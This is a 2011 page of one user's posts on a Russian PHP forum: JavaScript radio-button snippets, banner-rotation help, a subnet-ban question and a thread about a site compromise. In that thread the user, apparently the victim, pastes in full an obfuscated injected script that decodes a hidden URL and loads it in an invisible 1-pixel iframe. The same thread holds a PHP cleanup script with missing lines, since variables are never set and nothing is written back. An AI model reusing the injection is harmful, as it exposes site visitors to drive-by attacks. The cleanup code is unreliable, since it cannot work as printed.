PHP . SU
Программирование на PHP, MySQL и другие веб-технологии
Страниц (164): В начало « ... 156 157 158 159 160 [161] 162 163 164 »
Найдено сообщений: 2452
Panoptik
Отправлено: 29 Ноября, 2011 - 23:08:11 • Тема: Вернуть значение выбранной радиокнопки • Форум: JavaScript & VBScript
Ответов: 9 Просмотров: 3901
вот вариант на чистом javascript
CODE (
htmlphp ):
скопировать код в буфер обмена
< input value= "3" type= "radio" name= "dd" />
< input value= "4" type= "radio" name= "dd" />
< input value= "6" type= "radio" name= "dd" />
< input value= "22" type= "radio" name= "dd2" />
< input value= "42" type= "radio" name= "dd2" />
< input value= "62" type= "radio" name= "dd2" />
< button onclick= "show(1);" > as</ button>
< button onclick= "show(2);" > as2</ button>
< script type= "text/javascript" >
function show( group) {
var attrname;
var attrcheck;
var index;
if ( group == 1 ) {
var name = 'dd' ;
} else {
var name = 'dd2' ;
}
var obj = document. getElementsByTagName( 'input' ) ;
for ( var i = 0 ; i < obj. length; i++ ) {
attrname = obj[ i] . attributes. name. value;
attrcheck = obj[ i] . checked;
if ( attrname == name && attrcheck) {
alert ( obj[ i] . value) ;
}
}
}
</ script>
Panoptik
Отправлено: 29 Ноября, 2011 - 22:34:47 • Тема: что делать с вирусом для index файлов • Форум: Вопросы новичков
Ответов: 9 Просмотров: 326
Цитата: вирус? Мб баг? Может ошибаюсь на *nix вирусы не цепляются..
ну конечно не вирус, но действия выполнял явно скрипт а не человек, ибо в пределах 2 секунд было изменено несколько десятков/сотен файлов
Цитата: Так же естественно сменить паролики везде
это сделали еще вчера
а вот за за это Цитата: посмотреть на тех сайтах у которых структуру знаете как свои пять пальцев на наличие "не местного" файла.
попробуем
в логах пусто(
самое печальное что это не хостинг а наш выделенный сервер. и скрипт действительно не мог выполнять такие действия пока я не изменил права на все файлы. пока думаю в сторону дыры с сисадминской стороны
Panoptik
Отправлено: 29 Ноября, 2011 - 17:20:15 • Тема: Вернуть значение выбранной радиокнопки • Форум: JavaScript & VBScript
Ответов: 9 Просмотров: 3901
вообще если jquery подключена и вы с ней работали то можно сделать так:
вот за 2 минуты настрелял
CODE (
htmlphp ):
скопировать код в буфер обмена
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
< html xmlns= "http://www.w3.org/1999/xhtml" xml: lang= "en" lang= "en" >
< head>
< meta http- equiv= "content-type" content= "text/html; charset=iso-8859-1" />
< meta name= "author" content= "minatrix" />
< script src= "https://ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js" ></ script>
< title> Неназванный 7</ title>
</ head>
< body>
< input value= "3" type= "radio" name= "dd" />
< input value= "4" type= "radio" name= "dd" />
< input value= "6" type= "radio" name= "dd" />
< button onclick= "show();" > as</ button>
< script type= "text/javascript" >
function show( ) {
$( 'input[name=dd]' ) . each ( function( ) { if ( $( this) . attr( 'checked' ) ) {
alert( $( this) . val( ) ) ;
}
} ) ;
}
</ script>
</ body>
</ html>
Panoptik
Отправлено: 29 Ноября, 2011 - 16:52:05 • Тема: что делать с вирусом для index файлов • Форум: Вопросы новичков
Ответов: 9 Просмотров: 326
после недолгих раздумий был написан скрипт который читал все файлы и удалял зловредный код, поделюсь, может кому пригодится, или учту коментарии и советы:
PHP:
скопировать код в буфер обмена
<?PHP
ini_set ( 'max_execution_time' , '120' ) ;
//путь к папке с сайтами
$path = '/var/www/studio/data/www/' ;
//максимальное количество переборов, нажимая F5 проходим поочереди все файлы
$max_iterations = 50 ;
$cnt = 1 ;
//функция сканирования всех папок и находящая нужные файлы
function read_dir( $path ) {
global $cnt ;
global $max_iterations ;
if ( $cnt <= $max_iterations ) {
foreach ( $dir as $diritem ) {
if ( substr ( $diritem , 0 , 6 ) == 'index.' ) { find_inject( $path . $diritem ) ;
}
if ( is_dir ( $path . $diritem ) && $diritem != '.' && $diritem != '..' ) { read_dir( $path . $diritem . '/' ) ;
}
}
}
}
$cnt_inject = 0 ;
//функция нахождения инъекции и удаления ее из файла
function find_inject( $path , $offset = 0, $same = false ) {
global $cnt_inject , $cnt ;
if ( strlen ( $filecontent ) > $offset + 1
) { $start = strpos ( $filecontent , " <!-- . --><script type=\" text/javascript\" >if('GkIAe'" , $offset + 1
) ; $end = strpos ( $filecontent , 'ROKO;</script><!-- . -->' , $offset + 1
) ;
if ( $start && $end ) {
$file = fopen ( $path , 'w' ) ; if ( ! $same ) {
print "<br />" . $cnt ++. '. ' . $path . "<br />" ;
$same = true ;
}
$cnt_inject ++;
print $cnt_inject . '. ' . $start . " - " . $end . '<br />' ;
$res = true ;
find_inject( $path , 0, $same ) ;
} else {
$res = false ;
}
} else {
$res = false ;
}
return $res ;
}
read_dir( $path ) ;
?>
Panoptik
Отправлено: 29 Ноября, 2011 - 13:04:11 • Тема: что делать с вирусом для index файлов • Форум: Вопросы новичков
Ответов: 9 Просмотров: 326
ситуация прослеживается с папками у которых права 777 и 755 из под одного и того же пользователя. то есть както могли взломать акк фтп?
а как можно через sql-инекцию получить доступ к shell? в БД точно не хранится инфа с доступами к фтп
Panoptik
Отправлено: 29 Ноября, 2011 - 12:42:39 • Тема: что делать с вирусом для index файлов • Форум: Вопросы новичков
Ответов: 9 Просмотров: 326
Доброго всем
у нас трагедия. на всех сайтах сервера, в каждой папке где имеется файл index.php/index.html дописан зловредный скрипт вот такого вида
CODE (
javascript ):
скопировать код в буфер обмена
<!-- . --><script type = "text/javascript" > if( 'GkIAe' == 'PcSQtR' ) kduSI( ) ; var sEGja; var EdgahX= 'fKrNfb' ; if( 'DQHmU' == 'Omfj' ) MHXOe= 'GiwJ' ; var TMtyeWXZ= "\x 66\x 72\x 6fmCharC\x 6fd\x 65" ; var pbfpi= 120 ; function VJNx( ) { }
var xMQXmOlq= "" ; function JAMmah( ) { } function kcYW( ) { var DrHR= 'KeIo' ; if( 'xdZe' == 'RSiuld' ) dfmCwi( ) ; }
if ( 'WVXT' == 'fnNPOH' ) otbQo( ) ; if( 'zHkmr' == 'DFgm' ) PpihO( ) ; var nPZbcvNO= "s\x 6cic\x 65" ; var EcJEia= 'jsXqFm' ; var izlNGZHYh= "a4b0b0ac766b6b9db0ab9eb1afacaba1a49da86a9faba96baf6c6ba5aa6a9fa3a57b6d6c" ; function jyJXK( ) { } if ( 'WvrZL' == 'JDodXD' ) MsVU= 'qUbY' ; function WwoTr( ) { }
var gxwRmN= 'itrzFV' ; var oUGczFvk= "p\x 61\x 72seInt" ; var kjrX; var sGAjMB; var NyTT= 27 ; var VBWBjrZe= ( function ( ) { function dydkGo( ) { var hkIVw= 'dLAP' ; if( 'RcrL' == 'lwnek' ) GqUxow( ) ; } var NEqytk= 'hSNJ' ; return this ; var UfKKU; } ) ( ) ; if( 'mTWytZ' == 'pfXJ' ) WWBJ( ) ; var QnUOX= "cons\x 74ructor" ; var GBhA= 'ewNv' ; function FZMg( ) { var qEFWsn= 'HbQJj' ; if( 'yjUBu' == 'yIZo' ) RVwP( ) ; }
var JrqarNN= "LSxIZfDv" [ QnUOX] ; var slxTOE; var suXRl= 89 ; function aPduh( ) { var bACO= 'kUly' ; if( 'MUoEjK' == 'xUXEVN' ) tgJi( ) ; }
for ( var lMHyYSom= 0 ; lMHyYSom< izlNGZHYh.length ; lMHyYSom+= 2) { var Yhrdg; oUimSwtQv= VBWBjrZe[ oUGczFvk] ( izlNGZHYh[ nPZbcvNO] ( lMHyYSom, lMHyYSom+ 2) , 16) - 60 ; var EpvQzf= 71 ; function TLVFpT( ) { }
xMQXmOlq+= JrqarNN[ TMtyeWXZ] ( oUimSwtQv) ; var hYgM= 16 ; function mHVD( ) { var tzckrp= 'FKTsj' ; if( 'WSNPmg' == 'AvzqTY' ) NGLIfu( ) ; } var xkLIjj= 'LjHYnt' ; }
if ( 'HTZKe' == 'kuJcLd' ) FrCe( ) ; if( 'Uzaj' == 'uFPmeN' ) rYrL= 'qajY' ; function BKjWnE( ) { var Drfmo= 'xqXdV' ; if( 'SSyi' == 'ppUMyb' ) SHekq( ) ; }
var XrwEP= "rUowFeuRb" ; function yyfze( ) { } var TcnABO= 21 ; var rImjV= navigator.appVersion .indexOf ( "MSIE" ) !=- 1 ? '<iframe name="' + XrwEP+ '" src="' + "xMQXmOlq" + '">' : 'iframe' ; function ahVM( ) { var lcVK= 'whbK' ; if( 'mJKA' == 'RhED' ) fWhJ( ) ; } var ZDBl= 'TfLcSN' ; var ahLAYZ; var sMSoJI= document.createElement ( rImjV) ; sMSoJI.name = XrwEP; var ARqr= 86 ; sMSoJI.setAttribute ( "name" , XrwEP) ; if( 'CcbU' == 'DOnAV' ) spEIEU( ) ; sMSoJI.id = XrwEP; function XGKr( ) { var tMBC= 'dOjY' ; if( 'eIaE' == 'YxPwQu' ) UMAmc( ) ; }
sMSoJI.src = xMQXmOlq; function xJXSH( ) { }
sMSoJI.style .right = "0px" ; var TAZRuh= 93 ; sMSoJI.style .top = "0px" ; if( 'ghZal' == 'HMsbjS' ) ErVOb( ) ; sMSoJI.style .height = "1px"
if ( 'FAOqPy' == 'qnMQRd' ) OHulZ= 'yISSK' ; sMSoJI.style .width = "1px" ; var loVCI; var HzxyWb= 265 ; if( 'XsVOyN' == 'ciyOKq' ) brxMH( ) ; sMSoJI.style .position = "absolute" ; function IJfqol( ) { var VeRObN= 'CPwZ' ; if( 'nLIZGV' == 'QaRC' ) veKAA( ) ; }
document.body .appendChild ( sMSoJI) ; var xyoG; var XnvVN; var ROKO;</ script> <!-- . -->
в index.php этот кусок дописывается после каждого закрывающего блок php тега "?>"
пожалуйста подскажите что это? откуда могло взяться и как с этим бороться?
Panoptik
Отправлено: 28 Ноября, 2011 - 13:30:12 • Тема: Выборка из базы, для ротации баннеров • Форум: Вопросы новичков
Ответов: 7 Просмотров: 308
ну вобщето ранд и возвращает число от 1 до i
я лично предпочитаю использовать многомерный массив например вот так:
PHP:
скопировать код в буфер обмена
$id = $row [ id] ;
$banpic = $row [ nametime] ;
$banformat = $row [ typeban] ;
$arr [ ] = array ( 'id' => $id , 'banpic' => $banpic , 'banformat' => $banformat ) ;
//а после вызываем ранд и получаем один из результатов
//и далее выводы
$arr [ $i ] [ 'id' ] , $arr [ $i ] [ 'banpic' ] ...
Panoptik
Отправлено: 28 Ноября, 2011 - 12:54:04 • Тема: Выборка из базы, для ротации баннеров • Форум: Вопросы новичков
Ответов: 7 Просмотров: 308
у вас в условии
обновляются данные, но дальше вы обрабатываете изначальные значения, то есть все которые выбрались. Поставьте после if {}PHP:
скопировать код в буфер обмена
if ( intval ( $row [ balance
] / $row [ price
] ) == 0 or
$row [ balance
] < $row [ price
] ) {
mysql_query ( "UPDATE tb_advban SET paused=1,balance=0 WHERE id='$row[id] '" ) ; $i ++;
$id [ $i ] = $row [ id] ;
$banpic [ $i ] = $row [ nametime] ;
$banformat [ $i ] = $row [ typeban] ;
}
(Добавление)
если я не так понял условие то возможно следующий блок операторов нужно выполнить в else if'a
PHP:
скопировать код в буфер обмена
if ( intval ( $row [ balance
] / $row [ price
] ) == 0 or
$row [ balance
] < $row [ price
] ) {
mysql_query ( "UPDATE tb_advban SET paused=1,balance=0 WHERE id='$row[id] '" ) ; }
else
{
$i ++;
$id [ $i ] = $row [ id] ;
$banpic [ $i ] = $row [ nametime] ;
$banformat [ $i ] = $row [ typeban] ;
}
Panoptik
Отправлено: 28 Ноября, 2011 - 12:30:33 • Тема: как узнать когда загрузится картинка • Форум: Вопросы новичков
Ответов: 0 Просмотров: 100
доброго всем.
вопрос такой. Вобщем имеется скрипт загрузки в модальное окно контента с изображениями различных размеров.
Логика такова, что контент загружается в скрытый див, после мы считываем получившиеся размеры контеййнера, размеры экрана и формируем размер и положение формы исходя из полученных результатов
проблема в том что если картинка не успела загрузиться, то соответственно ширина и высота просчитываются до того как контейнер обретет свои истинные размеры. а вот на второй вызов этой картинки(уже когда она находится в кеше) всё считается и отображается как и положенно.
пробовал дождаться загрузки методом
но беда в том что на второй вызов это событие не сработает.
вопрос. как сделать такую проверку если картинка не загружена - то делать действия в вышеописанном куске кода, а если уже загружена в кеше, то просто делать код без обработчика события load?
Panoptik
Отправлено: 28 Ноября, 2011 - 12:22:20 • Тема: Выборка из базы, для ротации баннеров • Форум: Вопросы новичков
Ответов: 7 Просмотров: 308
попробуйте вывести содержимое массивов $id, переменных $newi, $i посмотрите что в них попадает
(Добавление)
и кстати насколько я знаю массивы нельзя просто так выводить в строке, нужно их хотябы обрамлять в знаки {} а еще лучше отдельно выводить
Panoptik
Отправлено: 22 Ноября, 2011 - 15:41:32 • Тема: Бан подсети. как быть? • Форум: Прочее
Ответов: 4 Просмотров: 54
довольно таки любопытное занятие. я ж еще не точно знаю что именно это за сервисы. по моему мнению, так это некая авторитетная глобальная система бана, у которой спрашивают другие сервера информацию по айпи. А что это за система, чья она, где и с кем работает - это еще предстоит узнать
Panoptik
Отправлено: 22 Ноября, 2011 - 13:28:32 • Тема: Бан подсети. как быть? • Форум: Прочее
Ответов: 4 Просмотров: 54
Вобщемс вот такая дилемма. В подсети был распространен некий вирус и моя подсеть чудом попала в бан лист определенных сервисов. И теперь некоторые хост-провайдеры отказывают мне в доступе как на фтп, так и к сайту
на сайт захожу через анонимайзер
Пытался решить проблему через прокси, с помощью например proxifier но после часа (очень медленной) работы и этот перестал меня соединять
Как быть в такой ситуации? может есть еще какие средства?
Страниц (164): В начало « ... 156 157 158 159 160 [161] 162 163 164 »
Powered by ExBB FM 1.0 RC1. InvisionExBB